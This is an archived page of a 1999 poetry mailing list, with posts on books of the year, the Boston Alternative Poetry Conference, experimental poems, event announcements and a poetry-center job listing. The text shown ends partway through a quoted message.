http://members.spree.com/sip/lizard/index.htm

↑ Index

11. Joel Lewis
Re: 1999 Books
Sun 1 Aug 1999

The collected poems of J.H. Prynne (Bloodaxe) is one of this year's major poetry events. I got my copy thru amzon's uk website & in under a week. Atalst, US readers will get a chance to discover this important poet.

Galassi's translations of Montale (FS&G) may finally bring this poet to wider english language. Not sure what the vant-garde has against this guy (re: a thread here of a few months back), but this book launched me on a montale kick of thelast few months.

don't have the title handy, but the selected shorter poems of Ted Enslinn (NPF) puts this usually very long-winded poet in a much better light, as he is the master of the short lyric.

↑ Index

12. Alan Sondheim
"I believe" (fwd)
Sun 1 Aug 1999

-

I believe

I believe in the power of the word, that I can write myself in and out of worlds, that each and every inscription is, by its very breath, transformative.
I believe that the world has a certain style, that the style of the world is in the form of the word, that the word occurs all the way down, layer after layer of protocols, waves, particles, fields.
I believe in the coherency of the world,
I believe that information feels, that it is a leverage of the world, that it is linked to the real
Couplings X X X
I believe that the style of the world is reproducible.

coherency that can for example lend itself across inflationary barriers
I believe I mean such barriers not foreclosed to the imagination which is
the chaos of information.
I believe that the power of the world is littoral.
particles, fields
Couplings X X X
It is always already connected to the institutionalization of power or its
brute force, but it's not that I always believe this.

↑ Index

13. **dbkk**
Re: Pound and the Bollingen Prize
Sun 1 Aug 1999

At 7:26 PM +0000 7/30/99, Joan Houlihan wrote:
>Without getting into all the psychological implications (and
>biological and genetic), you could look at Sylvia Plath as an example of
>someone striving to live "honestly." Her work was a nearly seamless
>outgrowth of her emotional life. But this is generally not a survivable
>condition in the "real world." Maybe in the world of saints and such.
>

Joan,

This take on Plath's life is contrary to any I've seen before. From what I read she tried to live the life of the perfect 50s woman--emphasis on the word perfect. Much of what I find interesting about her is the tension between the banality of her surface good girlness and the turmoil and upheaval in the work. Honesty in personal relations??? I see her with the stretched smile of Patty MacCormick in The Bad Seed (whom I recently saw interviewed live on stage at the Castro Theater).

Dodie

↑ Index

14. **pete spence**
Re: 1999 Books
Mon 2 Aug 1999

> *i have been a professional performance poet since 1985 and i've always been made to feel inferior to the print poets of australia - >komninos*
> *as usual mr kominos you are the twee con of australian poetry//pete spence*

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

15. Alan Sondheim

What I'm Doing About It

Mon 2 Aug 1999

\\\\\\ \\\ \\\\\\ \\\

What I'm Doing About It

As September-February virtual writer-in-residence at trAce I'm supposed to be preparing for incoming. Meanwhile we were three months away from desk- tops, and the laptops can't handle the Linux system I need. So I bought a Compaq 5204 only to find the sound gone on the system, which is now being subject to a quick restore, thanks to Compaq help; the problem remains which means that hardware's got to be changed. I've already spent an even- ing when I should be learning cgi-bin stuff playing around with drivers that I shouldn't have had to touch; I'd already tweaked the Win98 registry and added a swapfile, etc., and that only took three days. I find myself caught on slow modems when anything does work (and why is the QuickRestore disk adding Windows NT setup at the moment? why does it give copying data and current process percentages without giving the process name and the time left for restoration?). I'm replete with gremlins; in the cgi-bin, I used a script that runs on everything else (not my own), thanks to Paula Edmiston who sent me the URLs; I then set permissions and paths properly and I can pretend to add to hypertext to no avail. It's hot here but at least the computers (this older Pentium 100 and the Compaq which runs at 330 with a different chip) are cooled over by the window. I'm desperate for rain. I'm not made for file permissions and drivers and tech support which isn't life support. I'm panicky about the residency, feeling very unprepared - not enough perl, not enough javascript, only the blurred edg- es of a story and what about those email lists? - I'm run ragged at the precipice lip, out of money for further equipment (I'd give a lot if I had it for a Toshiba Libretto fit out with RedHat 6.1 - _that_ would be ideal) and out of sorts as "SystemSave" keeps running to my right - all of my own data and tweaking having been erased of course. Well, this has all come to an end with the QuickRestore and sure enough the sound is still bad and I call up support again and tech tells me I have to bring it in to a certi- fied dealer - well, first he's (the first tech was she's) got me going into safe mode and removing the sound card and of course that's not it, and then I hang up and check the warranty and it says I get on-site ser- vice and I call tech support for the third time after calling the Compaq main office at 2 in the morning and how

dare they remain closed when I'M calling, and anyway, the third guy agrees to the terms, gives me a case number (now I'm official, I'm a case - this is the third case I've had with Compaq mind you in three years, the other two ending in a class ac- tion lawsuit), so within 3 to 5 days I can presumably start setting up RedHat Linux 6.1 (if I can find it cheap enough) on the system (I've never used lilo for booting, just System Commander), and and and and and

the whole world is beginning to feel like one big kludge, I shouldn't be the virtual-writer-in-residence, I can hardly spell my name at the moment, my work is all one big lie, the center doesn't hold and either do the edges and for that matter nothing in particular holds anywhere across the middle either, and I think

that all of human history is one big kludge, bumbling around, it's amazing if the keyboard works (even if it's not connected to anything, I have one of those Microsoft contoured ones and it feels great, but the system's shut down until the repairs are done), it's amazing if the mouth works, if speech works, in the long run into that dark dark night as Fitzgerald might say, there's no one to call, no one to pick up the phone, no machine to take the messages, no machine to deliver them, there's only that si- lence on the line, there are no lines, there are no phones, no ears to hear no mouths to speak of, and I think

thank god we're all fools looking down at our feet, I wonder if I can do anything with this semi-broken RedHat Linux 5.0 on the other machine, so what if the cgi-bin doesn't work, the colors aren't proper, and it won't go into SVGA mode, keeping me in a ridiculous 640 by 480 or some such with Netscape Communicator not even staying properly within X-Window coordin- ates, but flooding all over multiple desktops, making me jumpy when I'm working, just another kludge, I look into the mirror

and see parts and parts and parts, nothing whole, just assemblages linked together, it's psychosis that makes me think they're only concatenated, coupled, broken, ready to collapse at any moment, whole worlds are held together

by tethers like that, this, the other, just as the parts of me beg for different names

---

↑ Index

16. **J Kimball**
Boston Alt.Poe Con. ('99)
Mon 2 Aug 1999

Gerald Schwartz --

You asked us to share impressions of the Boston Conference.

"...Once was a mermaid martyred ashore
She stood half humanly on her soft white feet
And sang tenaciously
There
In as many lines as it often takes, a story has emerged..."

And there Lyn Hejinian concluded and, along with Tina Darragh and John Wieners, stole the show.

High highlights: Wieners' reading older, lyrically cohesive poetry that was ignored, in fact incomprehensible to most 20 years ago -- worth the price of admission this summer day; Tina Darragh and Lyn Hejinian demonstrating in two distinct directions how personable 'lang' gets -- committed as ever to messaging beyond tight, wiry surfaces that craft, postlang, clearly necessitates; Wendy Kramer's spiff amalgam of communitarian cum postCagey "performative"; Lewis Warsh, hardly winding down on his life's project, lavish scrutiny of ... is it male intimacy? Michael Gizzi libretto-ing from _No Both_ and _Too Much Johnson_ from which emerge these lines in "Mr. America's Dehydrated Nightjar":

"...you want an equation very well
we grew up crazy for kneeslaps and
paperweights featuring snowflakes
we've a great infection to
serve many Jasons to come..."

I'll be running out of post space, but there were Chris Stroffolino who read as much apres-Ashbery as Gizzi, less Annandale-on-the-Hudson, though, mean (and proud of it); Maggie Zurawski, whose poems are just so surgical and Moneyline I want to die in her arms; CD Wright going on in the finest drawls from _Deepstep Come Shining_:

"...Hog Waste Lagoon is overflowing. _From the west down to the east._

What an onion. They're Vidalias. Now do you know where
we are.

Did you ask the taxidermist about the eyes. [...] [Emphasis in original.] ["Now do you know where we are" serves as a refrain, bigger and bigger laughs, yucks, etc.]

Peter Ganick read to his mock max by timing blocks of silence between blocks of three-line verse:

"...nothing nnootthhiinngg perhaps wordperfect
a sitcom a voice wooden inhaled response decked
on bathroom floor worries you away hello

Equal time, that is, text and silence. Fortissimo. Also very fortissimo, Anselm Berrigan with throw-away lines like: "Poppa my pod fell apart"; "Consider yr medicated acquaintances / as offering you a crash course in diplomacy"; and as a kind meta-comment to Conference admin, "Caveman! Schedule yr / readers appropriately."

Aside, for a sec, on group readings -- The Bronk was cancelled because I was the only one left standing, armed and ready to read my man. And just a whiff of agreement here with Jacques Debrot about the conservative undercurrents that prop up the shiny new atmosphere: in contrast to Bronk, droves of us lined up to read Emily Dickinson (whose also my man). I read her in Japanese and a couple of other languages (prompting the Boston-based group organizer to leave the room). Drew Gardner read her, impressively, from memory. Chris Stroffolino read her the loudest, and made her sound, well, contemporary. The O'Hara group reading was lots of fun (no kidding), but I was surprised how we all avoided the really famous poems that need _lots_ of i-n-f-l-e-c-t-i-o-n. Lots of white guys, most passing themselves off as unqueer, and a sonic Anne Waldman.

Then -- back to origninal poetry -- later the same day of the O'Hara group fest, there was a pile of truth-telling about marriage by Anne; words like 'towels' and 'twos' came up a lot. Kristin Prevallet blew us away topically or perhaps faux-topically, juxtaposing sad / bad realia blurbs from the oddest array of American daily newspapers. I was running in and out of the gruesome classroom where everyone had to read while Drew Gardner, Patrick Doud, and Alan Gilbert held forth, but the scuttlebutt was awfully positive. And badly-scheduled performances [read 'early a.m.'] veiled great stuff from Jacques Debrot, Doug Rothschild, Brendan Lorber, Barbara Freeman, Prageeta Sharma, Heather Scott Peterson. But I'll be putting up videos and text from most of these readings over the next few volumes of The East Village, so nothing's lost!

And, I forgot to mention Jim Behrle, a Boston poet who has lots of guts [read 'heartfelt']; Michael Basinski, straightman to his own wondrous ad libs nosed against his faked mistranslations of a language-toy palimpsest; smiling Jordan Davis reading too short a time for optimum dream affect (style query: if Jordan moussed his hair back, would his poems brood?); Forrest Gander reading beautifully from a new work in English and Spanish. I'm leaving a few friends and me out. Maria Damon read an in-progress, "Something about Bob Kaufman and the Poet's Labor," fabulously provocative in that form, I thought. Lots of

fact-checking -- Kaufman's and, who knows, his father's work habits may figure into this - surely leftwing but not a bit preachy.

-- Jack

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17. Brian Stefans

Re: POETICS Digest - 29 Jul 1999 to 30 Jul 1999 (#1999-145)

Mon 2 Aug 1999

Hi Jordan,

Yes, of course Debbie does that very much. What interests me about Moxley is that she's trying to sneak in much of this artifice and sensibility that is "anachronistic" as being very much a mark of "sincerity," or that she's not quite foregrounding her artifice the way Robertson does, nor does she engage in that hyperbolic rhetoric that just drenches Debbie in soap-box irony (meaning that irony whose "message" outweighs its levity). (She did more in her first book, but not in the new chappy.) Debbie could be said to be a safer work, I think, due to its density and ideological surety -- I mean the means of reception are in place for a book like that, and the influences leading up to it are more or less respected when they're not totally obscure -- whereas I think the Moxley chapbook -- what's it called now, something Life -- attempts a sort of monumentality unhindered by this (debilitating?) irony, for better or worse (worse when it is poorly imitated, as she is destined to be), and freely accesses certain traditions and modes that are not quite in the ascendant, and these sorts of gesture could sink it for many, though on the other hand haven't and probably won't. This isn't to put Debbie on the lower end of some sort of critical totem pole -- it's incredibly smart and wicked like most of Robertson's work -- just in this particular light Moxley's poetry comes out as the more unusual even if in the end it's strangeness is the free use of convention.

Another way to look at it: you can't get excited about Moxley's work the way you would about a traditionally "new" sort of avant-garde poetry, since she's not avant-garde or new. And yet there's something there turning many of these value systems on their heads, and she fits in no obvious way into the underground traditions that we are familiar with. But then one asks how she fits in with say a Bishop or say the "mainstream" of today? I think she's at a distance from them precisely because of this use of "anachronistic" technique. Yes, my dear Watson.

Make sense? Well, must runn....
Brian

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18. Kenneth Goldsmith

___ U B U W E B: N E W R E S O U R C E S :: A U G U S T 9 9 ___

Mon 2 Aug 1999

---------- Forwarded message ----------
Date: Mon, 2 Aug 1999 12:23:41 -0400
From: Kenneth Goldsmith <[redacted]>
To: Kenneth Goldsmith <[redacted]>
Subject: FW: ___ U B U W E B: N E W R E S O U R C E S :: A U G U S T 9 9 ___

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

NEW RESOURCES AUGUST 1999

HISTORICAL

Aram Saroyan, USA, Cloth: An Electric Novel (Big Table, 1971)

SOUND

Jaap Blonk, Holland
Vocalor (1998)

William S. Burroughs, USA
Tape Cut-Ups, 1960s

John Cage, USA
Diary: How to improve the World
(You will only make Matters worse)

Marcel Duchamp, France
The Music of Marcel Duchamp (S.E.M. Ensemble)

Makigami Koichi
Kuchinoha (1995)

Sten Hanson, Sweden
Sound Poetry (1960s-70s)

Ake Hodell, Sweden
Sound Poetry (1960s-70s)

Bengt Emil Johnson, Sweden
Sound Poetry (1960s-70s)

Ilmar Laaban, Sweden
Sound Poetry (1960s-70s)

Enzo Minarelli, Italy
Coralmente Me Stesso (1995)

Gertrude Stein
If I Told Him (A Completed Portrait of Picasso)
A Valentine to Sherwood Anderson (rec. 1934-35)

Cecil Taylor, USA
Chinampas (1987)

Unamunos Quorum, Australia
Recoding (1999)

CONTEMPORARY

Felix Bernstein, New York City, Alphabet

J. Lehmus, Finland from The Color Atlas Project

Stacey Knapp, Indiana, USA dHMTL / Java Poetry

PAPERS

Sérgio Bessa, NYC, NY, USA
Architecture Versus Sound in Concrete Poetry

Petr Kotik, NY, NY, USA
The Music of Marrcel Duchamp

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

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19. A H Bramhall
Praxis Bold As Love
Mon 2 Aug 1999

Blows Against the Empire, the
career years. movement
of assimilation. poetry
as a haven for
poetry. the Age of
Champions propounds
the use of
all tools, id est:
marketing, networking,
career thinking
and the like. the

sacred holds
no candle to
this incandescence.
here's my
arbor vitae, I'm satisfied.
a list of my
qualifications
follows

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20. David Erben (Art)

Rosebud/John E. Smelcer

Mon 2 Aug 1999

If anyone is familiar with Rosebud and/or the work of the Native poet John Smelcer I would appreciate a backchannel conversation.

Thank you,

David

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21. Daniel Kane

Abiodun Oyewole on WriteNet

Mon 2 Aug 1999

This month, Abiodun Oyewole talks about his poem "Black Rage," published in the book *On a Mission: The Last Poets.* He discusses his role as both spokesperson and poet, and offers suggestions on how to conceive of and include political content in poetry. He also talks about the relationship between rap/hip-hop and poetry, and suggests ways to think about rhythm in poetry apart from rhyme.

Abiodun is an original member of The Last Poets, who perform nationwide year-round. The Last Poets were born on May 19, 1968, at a birthday celebration for Malcolm X. A group of three poets and a drummer, they became the revolutionary voice for many African Americans, expressing the plight of Black people in their music.

If you have about 6 minutes, you can download a file of Abiodun's reading of "Black Rage."

To read the interview and hear Abiodun perform the poem, go to

http://www.writenet.org/poetschat/poetschat_aoyewole.html

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22. Poetics List
Shredding the Tapestry of Meaning / jesse glass
Mon 2 Aug 1999

This one came to the administrative account. Chris

--

From: "jesse glass" <[redacted]>
Date: 7/31/99 10:14 AM -0700

John Solt's study of the poetry, poetics and life of Kitasono Katue (1902--1978) has my vote for one of the top books of 1999. Available from Harvard University Press, Shredding the Tapestry of Meaning traces the parallel development of modern and postmodernist poetry in Japan by concentrating on one of the key players in its creation and dissemination. "Kit Kat" as he was called by Pound and Williams, worked in an astonishing variety of genres. Of special interest are his contributions to dada, and his invention of what he called "the plastic poem." Katue also formed the influential Vou group, from which other important Japanese poets like Shuntaro Tanigawa and Kazuko Shiraisi emerged. ISBN: 0-674-80733-2

Glass Beret, a sampling of Katue's poems, translated by Solt and Hashimoto Akio, is available from Morgan Press. ISBN: 1-880723-05-0

About Jesse Glass
http://www.revanche-hoya.de/html/g4.html

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23. Patrick Herron
Re: Farm Implements? Rutabagas and vegetables in general
Mon 2 Aug 1999

Jeffrey Jullich <[redacted]> mentioned in his survey of Scandanavian poetry the line

"He offers a smile, mild
/ as pick-axe handles a / mile wide which kindles/ the hide of rutabegas"

As a long-time fan of John Ashbery, I'm a little concerned that the spelling of

rutabagas

is getting abraded here. We don't have them in Australia -- we have Swedes and turnips, but not rutabagas -- but that's no reason to become careless about our treasury of English spellings.

Anyone care to comment?
best,
    JT

Rutabagas? Vegetables? Spellings? Mr. Zappa had something to say on the subject, not only about rutabagas, but all vegetables and green things in general. . .

Call any vegetable Call it by name
Call one today When you get off the train
Call any vegetable And the chances are good
The vegetable will respond to you
(Some people don't go for prunes...I
don't know, I've always found that if they...)
Call any vegetable Pick up your phone
Think of a vegetable Lonely at home
Call any vegetable And the chances are good
That a vegetable will *respond* to you

Rutabaga, Rutabaga,
Rutabaga, Rutabaga, Rutabay-y-y-y...

(A prune isn't really a vegetable...
CABBAGE is a vegetable...)
No one will know
If you don't want to let them know
No one will know
'Less it's you that might tell them so
Call and they'll come to you
Covered with dew,
Vegetables dream, Vegetables dream,
Vegetables dream Of responding to you
Standing there shiny and proud by your side
Holding your hand while the neighbors decide
Why is a vegetable something to hide?
A lot of people don't bother about their
friends in the vegetable kingdom. They
think: Oh, ah, what can I say? What can
a person like myself say to a vegetable?
But the answer is simple, my friends:
Just call, and tell them how you feel
about muffins...pumpkins...wax
paper...Caledonia, Mahoganies, elbows ...
green things in general...and

soon, a new rapport...you and your
new little green and yellow buddies,
grooving together...Oh, no! Maintaining
your coolness together! Worshipping
together in the church of your
choice...(only in America...)

"Call Any Vegetable" by Frank Zappa.

No harm intended here about the spectrum of issues involved at the intersection of spellings and vegetables.

: P

Patrick Herron

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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24. daniel bouchard
Re: Boston 99
Mon 2 Aug 1999

Jacques,

What is the Boston Alternative Poetry Conference? If I had a hand in organizing it (and I did not) I would have amended the title to something like "Boston Poetry Weekend." It's not really a conference, it's a marathon of poetry readings. Alternative is just a strange word to have in there-alternative to what? There's nothing remotely like it in Boston and its composition of readers is not exclusively "alternative" as jargon fetishists and fellow-travelers understand the term in the context of contemporary poetry.

Regardless, it's called the Boston Alternative Poetry Conference and it was founded by a very energetic man by the name of Aaron Kiely.

Kiely has done something unique in Boston. It's probably unique anywhere. With no academic credentials, no university or foundation support, etc., practically no money, etc. Kiely brings poets to Boston from all over the States to read their work or give a presentation. Most poets are not paid, but some have their airfare paid by Aaron-out of his own pocket I suspect. I do know that his pockets are not very deep.

Anyway, the basis of the first half of your complaint-post (Boston poets make for weak conference) is pretty petty.

But it's the second part of your post that is intriguing. Not to mention your second post, "what if?" "what if?"

You think the components of the poetry world (i.e., poets) can be sorted like screws into boxes of those whose work/projects you approve of, and those who you don't.

Well this is fine with me. I have those boxes too.

But there are further belief systems indicated in your post that amaze me, as well as amuse me:

1) that there are poets "on the scene" in Boston (or anywhere really) who have "clout"

[Note-I don't think you're talking about the people who run reading series and draw up invitation lists to the right parties. You mean their poetry, don't you? As if significant influences in one's work will come from closer zip codes. I mean your post assumes that everyone in Boston is reading each other's work! Like, NYC right?]

2) the attempt to find a more "natural" language isn't or wasn't enough. Been there, done that-let's move on

3) a more adventurous Harvard or BU or whatever U. may help remedy these insufficiencies

4) there are generations of experimentalist writers (as there are generations of Kennedys) and one is missing in Boston (not a pun)

5) Wieners, even in his current "position" is NOT exerting influence. (This, of your assertions, is most wrong I think). Everyone in Boston has been influenced by Wieners I think, tho few have ever met him. Of course, he's Black Mountain.

6) there is such a thing as "Boston poetry" and it is ambivalent

{Here I insert that I did help Jack Kimball co-ordinate a special edition of The East Village Poetry Web Site (Vol. 7) that focused on poetry and visual art in and around the Boston area. However, our work there distanced itself from the idea that there was aesthetic cohesion in Boston poets, whereas Jacques is implying (to my ear) that could be cohesion to everyone's benefit.]

7) that a well-placed Coolidge or Gizzi could make things right (see #3) in Beantown. None I am aware of listen to professors in the area now; not Corbett, not you. How would things be different with different people?

You imply Coolidge and Gizzi are not read in Boston with pleasure as well as profit.

all best,

- db

Appendix

Boston Area Poets who read at the BAPC

Michael Franco (Somerville, MA)
Jacques Debrot (Norton, MA)
Donna de la Perriere
Sean Cole
Barbara Claire Freeman (Harvard prof.)
Jim Behrle
Beth Anderson
Ed Barrett (Cambridge)
Patrick Doud (Gloucester, MA)
John Wieners
Gerrit Lansing (Gloucester, MA)
Raffael de Gruttola (Newton, MA)
Aaron Kiely (Northampton, MA)
Joseph Lease
Damon Krukowski (Cambridge)
Daniel Bouchard (Cambridge)

Non-Boston Area Poets who read at the BAPC

Andrew Schelling
C.D. Wright
Magdalena Zurawski
Anselm Berrigan,
Douglas Rothschild
Brendan Lorber
Richard Dillon
Nick Lawrence
Tina Darragh
Drew Gardner,
Chris Stroffolino
Alan Gilbert
Peter Ganick,
Ammiel Alcalay
Maria Damon
Anne Waldman
Leslie Scalapino
Michael Gizzi
Kristin Prevallet
Jack Kimball

Prageeta Sharma
Heather Scott Peterson
David Kirschenbaum
Kimberly Isaksson
Ian Wilder
Lewis Warsh
P. Inman
Will Alexander
Jordan Davis
Marcella Durand
Henry Gould
David Shapiro
Lyn Hejinian
Forrest Gander

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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25. Maria Damon
job alert
Mon 2 Aug 1999

> *Date: Mon, 02 Aug 1999 09:20:27 -0700*
> *To: [redacted],*
> *From: Della Dixon <[redacted]>*
> *Subject: UofA Poetry Center Director Position*
>
> *Director, University of Arizona Poetry Center.*
>
> *The College of Humanities seeks an experienced arts administrator with a strong background in contemporary poetry and literature, as well as a proven record of success as a fundraiser and grantwriter, to oversee all programs and activities of the Poetry Center. Major responsibilities: 1) work closely with College faculty and administrators, advisory boards, and University officials on the campaign for a new privately-funded facility, 2) plan and manage the annual public reading series, special collections library, outreach programs, summer residency, instructional support for*

> *students, and publications, 3) supervise budgetary planning and accountability, 4) develop and maintain collaborative relationships with local, state and national literary organizations, funding agencies, and University programs, 5) select, supervise, and evaluate the Center's personnel, 6) provide oversight for the facility and office operations.*
>
> *Minimum qualifications: Five years or more experience in arts administration and BA degree. MFA, advanced degree, or equivalent preferred. Salary range depends on experience. Review of applications will begin on September 15, 1999 and continue until the position is filled. Position begins January, 2000. To apply, send letter of interest, c.v. or résumé, and three letters of recommendation to the office of Associate Dean Dennis Evans, College of Humanities, PO Box 210067, Tucson AZ 85721-0067. Telephone: [redacted]. Fax, [redacted]. email [redacted]*
> *The University of Arizona is an EEO/AA employer -- M/W/D/V.*
>
> *The University of Arizona Poetry Center was founded in 1960 by writer and editor Ruth Walgreen Stephan, and dedicated by Robert Frost in 1961. Home to a nationally renowned reading series and a variety of community programs, the Center also has a remarkable special collections library, supported by an acquisitions endowment of $1.2 million, and has recently begun a fund-raising campaign for $4 million to build a new landmark facility. The Center's website is located at www.coh.arizona.edu/poetry.*

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26. Lynn Miller
TO THE LEFTWING SURREALISTS
Mon 2 Aug 1999

T H E F I E L D O F M A R S

["un poison tutelaire"

Dear friend, loving friend [Nyerges trans.], my friend,
my dear, beloved friend [Bakti trans.], that’s not me
shouting 150 years have passed. Our work’s not worth

one cent, nothing and learned nothing accuse me of terror,
impassable rivers winding dangerous mountain roads go
through sufferings left us at passages, perfect tactics

heighten the task; I would not hesitate one second to come
to the same kind. Be with me for Civil War, one
of those really liberating, really revolutionary wars

there have been hardly any of. We are shunning recognition and can feel it,
when what a pedant what an idiot has always reverted to conciliation Utopia
taken on the form, suave

dollar parlor North American culture, the corpse won't fit
in its coffin, rotting around us, rapidly ripening lately
polluting in a word recomposing going slowly unswervingly

saving took away. I turned it over, who is learning hard
each mistake in such a work, I am proud to have been doing
it in a beleaguered until other exist, are more numerous?

V A R I A N T N O . 1

Dear friend, loving friend [Nyerges trans.], my friend,
my dear, beloved friend [Bakti trans.], that's not me

shouting 150 years have passed. Our work's not worth
one cent when what a pedant what an idiot has always

and will revert to conciliation Utopia taken on the form,
suave dollar parlor Museum Culture, the corpse won't go

in its coffin and rotting around me, rapidly ripening
lately polluting as in a beleaguered until other exist,

are more numerous recomposing going slowly unswervingly
saving took away and turned over, who are learning hard

each mistake in such a work, I am proud to be doing it.
Be with me for Civil War! One of those really liberating,

really revolutionary wars there have been hardly any of.

V A R I A N T N O . 2

Dear friend, loving friend [Nyerges trans.], my friend,
my dear, beloved friend [Bakt trans.], that's not me
shouting from Cuba to Serbia, Palestine, Mesopotamia

spreading when we are shunning recognition even, 150
years have passed. Nothing and learned nothing when what
a pedant what an idiot has always and will revert again

to conciliation Utopia taken on the form, suave dollar
parlor European culture accuse me of terror, its day,
impassable rivers winding dangerous mountain roads go

through sufferings left us at passages, our work's not
worth one cent—-native or foreign-—be with me for civil war.
I would not hesitate one second to come to the same kind.

Perfect tactics heighten the task.

V A R I A N T N O . 4

Dear friend, loving friend [Nyerges trans.], my friend,
my dear, beloved friend [Bakti trans.], that’s not me
shouting dear revolutionary proletarians my letter to you,

150 years have passed. Our work’s not worth one cent,
when what a pedant what an idiot has always and will revert
to conciliation Utopia taken on the form, suave dollar

parlor parlimentary body, the corpse won’t fit in its
coffin left us at passages who are forgetting each one
from Cuba to Serbia, Palestine, Mesopotamia spreading

when we are shunning recognition even going slowly took
away and turned unswervingly saving nothing and learning
nothing accuse me of terror impassable rivers winding

dangerous mountain roads go through beleaguered until
other exist, are more numerous, mistaking in such a work
rapidly ripening lately, perfect tactics heighten the task.

BE WITH ME FOR CIVIL WAR! One of those really liberating,
really revolutionary wars there have been hardly any of.
I would not hesitate one second to welcome the same kind.

http://www.cuba-si.de/revista2/inolvidable2.htm

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27. komninos zervos

Re: 1999 Books

Mon 2 Aug 1999

>>i have been a professional performance poet since 1985 and i've always been
>>made to feel inferior to the print poets of australia - >komninos
>>as usual mr kominos you are the twee con of australian poetry//pete spence
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
i see your email posts are just as obscure as your poetry

komninos zervos
Lecturer CyberStudies
School of Art

Griffith University
Gold Coast
[redacted]

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28. Alan Sondheim

and and / and .

Mon 2 Aug 1999

&

and and
and .

and excreting memory
accompanying the hard, soft and needled, apatite and beryl is cotton,
hard, spiked and petalled, two-lipped above and below, your musk, my high regard?
... your masquerade is amethyst here, it's your masquerade?
your highest masquerade
your highest regard

are you becoming close to azure's soft and needled, apatite and beryl? yes and and and you show respect, you dissolve, obey, honor cotton-azurite melt into azure's skin forever...

soft and needled, apatite and beryl,
spiked and petalled, two-lipped above and below,
your musk, my high regard
my highest regard
your highest masquerade

and older, do you know them, green tourmaline and needled, and amethyst and spiked

and florid masquerade
and devoured masquerade, eaten by open-armed azure
and two-lipped alan, above and below

with the highest regard
with the highest masquerade

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29. **Carol L. Hamshaw**

Telepoetics Beach Party

Tue 3 Aug 1999

FOR IMMEDIATE RELEASE, 02/08/99
Telepoetics Beach Party: Vancouver and San Antonio, Texas
September 6, 1999, West Spanish Banks Beach
9pm PST (11pm CST)

The Edgewise ElectroLit Centre

PRESENTS
TELEPOETICS
AT THE BEACH

LABOUR DAY PICNIC AND LONE STAR LINK-UP
LIVE FROM WEST SPANISH BANKS (near the anchor)

featuring improv poetry ensemble Verbomotorhead and Susan Mullen, from Vancouver; and poetry-percussion performance artist, Mim Sharlack, Trinidad Sanchez, and more-from San Antonio, Texas.

On Monday, September 6 join us for our end of summer picnic bash. The poetry reading starts at 9pm but come down early to enjoy roving musicians and the sunset. Bring your own food, blankies, chairs and beverages—the entertainment is on us.

Verbomotorhead (Alex Ferguson, Kedrick James, Mark Plimley, and Doni Scob) is an oral poetry performance group that does improv poetry and polyvocal acapella arrangements.

Susan Mullen (S.R.-H) has been writing poetry since 1964 and lives here in Vancouver where she is host of the open mike series “Tales of Ordinary Madness” and is co-organizer of the new Pan Poetics reading series at the Helen Pitt Gallery.

The Edgewise ElectroLit Centre uses digital videophones to exchange poetry between Vancouver and other locales. Always facing the challenge of the marriage between art and technology, this is the first outdoor link we’ve planned.

“This linkup is extremely ambitious for two reasons—new partner and because we're doing it outside. But like Symphony of Fire, we’re using the night sky for a backdrop.” (President of EEC, Heather Haley).

The Edgewise ElectroLit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videoconferencing and online publishing are the major technologies that we work with. Our electronic magazine can be viewed and heard at <www.edgewisecafe.org>. Poets featured with audio include Adeena Karasick, Wayde Compton, bill bissett and Sheri-D Wilson. We also publish videopoems and are hosting Canada's first Videopoem Festival at Video In Studios this fall.

For more information, please call Carol L. Hamshaw,
Administrator, at [redacted].

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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30. Stephen Cope
Real Audio fyi
Tue 3 Aug 1999

For those with realaudio and an interest in that which has come to be known under the somewhat innocuous rubric of world music, check out www.worldmusicradio.org. I'll be doing a program from 6-9pm (Pacific time) on Mondays, 8-midnight (Pacific time) Saturdays. Mostly music from Africa, the middle-east, the caribbean, and America (jazz and new music). Not alot of poetry in the strictest sense, although I did tonight play two cante jondo renditions of Lorca poems and a piece of Pierre Akendengue's (he's a poet/musician from Gabon).

Best,

Stephen Cope

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31. maz881
Spahr & Luoma Reading: Zinc Bar Sunday
Tue 3 Aug 1999

---

if you are in or about new york city on sunday Aug 8, please come by the zinc bar in manhattan to hear Juliana Spahr and Bill Luoma.

Zinc Bar is located at 91 Houston st @ la guardia
6:30 pm
sun
8 aug
poetry

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32. Stephen Ellis
Re: Boston 99
Tue 3 Aug 1999

Who were the "significant (Boston-based) exceptions" - and what made them either &/or both? What New York poets are you referring to as having "come to town"? I mean, wch ones, who's who, how do they come to be so characterized?

What do you make of the likes of Richard Dillon or Michael Basinski, Alan Gilbert and Wil Alexander, or an extensive list of others present at the conference that don't seem to fall under either a New York or Boston (Black Mountain based) heading? Perhaps the real substance of such a conference is less in the featured readers - who are for reasons of reputation often included in a program to attract the "wider audience" - and more in the work presented by lesser knowns in ways more "on the ground," the efforts of those more one's peers. In that light, there is perhaps reason to doubt the catalyzing influence of a "leading light," since a momentum would have had to be present in those catalyzed to begin with. The audience in Boston,

so it was reported to me, since I missed the Saturday evening events, was "galvanized" by Gerrit Lansing's reading. I think in terms of immediate influence, this is as good as things get; institutionalizing this energy in terms of "a program," be it anti- pro- proto- neo ANYthing, tends to put an end to the ambiguousness at its outset, in many ways also its source. Better, I think, to have HAD

a "slippery" conference, direction undefined, only partly differentiated,
but still, plenty of direction in any direction THERE.
S E

> *From: Jacques Debrot <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Boston 99*
> *Date: Sat, 31 Jul 1999 10:47:44 EDT*
>
> *For the second time in as many years, the weakness of the Boston Alternative*

